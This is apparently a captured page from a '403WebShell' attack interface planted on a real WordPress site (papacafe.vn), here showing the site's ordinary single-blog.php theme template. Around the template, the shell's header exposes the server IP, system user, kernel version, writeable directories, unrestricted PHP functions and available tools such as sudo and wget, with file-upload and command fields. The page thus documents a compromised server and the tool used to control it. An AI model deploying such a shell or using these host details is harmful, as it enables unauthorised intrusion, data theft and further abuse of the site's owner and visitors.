Uname:Linux localhost.localdomain 5.14.0-596.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jun 27 16:02:33 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 14.225.216.240  /  Your IP : 216.73.216.26
Web Server : nginx/1.20.1
System : Linux localhost.localdomain 5.14.0-596.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jun 27 16:02:33 UTC 2025 x86_64
User : taidh ( 1001)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/taidh/papacafe.vn/wp-content/themes/papacafe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taidh/papacafe.vn/wp-content/themes/papacafe/single-blog.php
<?php
// Bảo vệ file không bị truy cập trực tiếp
if (!defined('ABSPATH')) {
    exit;
}

// Gọi header của theme
get_header();
?>

<section class="blog-details pb-130">
    <div class="container">
        <div class="row gy-5">
            <!-- Blog Content -->
            <div class="col-lg-8 col-md-12">
                <div class="blog-details-wrap">
                    <div class="blog-details-img">
                        <img src="<?php echo get_the_post_thumbnail_url(); ?>" alt="<?php the_title(); ?>" loading="lazy">
                    </div>
                    <div class="blog-details-content-wrap">
                        <ul class="post-meta">
                            <li><i class="fa-sharp fa-regular fa-clock"></i><?php echo get_the_date('d/m/Y H:i:s'); ?></li>
                            <li><i class="fa-light fa-user"></i><?php the_author(); ?></li>
                        </ul>
                        <div class="blog-details-content">
                            <h2 class="details-title mb-25"><?php the_title(); ?></h2>
                            <p><?php echo get_the_excerpt(); ?></p>
                            <p><?php the_content(); ?></p>
                        </div>
                    </div>
                </div>
            </div>
            <!-- Sidebar -->
            <div class="col-lg-4">
                <div class="sidebar-widget">
                    <div class="search-box">
                        <form method="get" class="search-form" action="<?php echo esc_url(home_url('/')); ?>">
                            <input type="text" class="form-control" name="s" placeholder="Tìm kiếm...">
                        </form>
                    </div>
                </div>
                <div class="sidebar-widget sticky-widget">
                    <h3 class="widget-title">Nhật ký mới nhất</h3>
                    <?php
                    $recent_posts = wp_get_recent_posts(array(
                        'numberposts' => 3,
                        'post_status' => 'publish',
                        'post_type' => 'blog',
                    ));
                    foreach ($recent_posts as $post) :
                    ?>
                        <div class="sidebar-post">
                            <img src="<?php echo get_the_post_thumbnail_url($post['ID']); ?>" alt="<?php echo esc_attr($post['post_title']); ?>" loading="lazy">
                            <div class="post-content">
                                <ul class="post-meta">
                                    <li><i class="fa-sharp fa-regular fa-clock"></i><?php echo get_the_date('d/m/Y H:i:s', $post['ID']); ?></li>
                                </ul>
                                <h3 class="title">
                                    <a href="<?php echo get_permalink($post['ID']); ?>">
                                        <?php echo esc_html($post['post_title']); ?>
                                    </a>
                                </h3>
                            </div>
                        </div>
                    <?php endforeach; wp_reset_query(); ?>
                </div>
            </div>
        </div>
    </div>
</section>

<?php
// Gọi footer của theme
get_footer();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit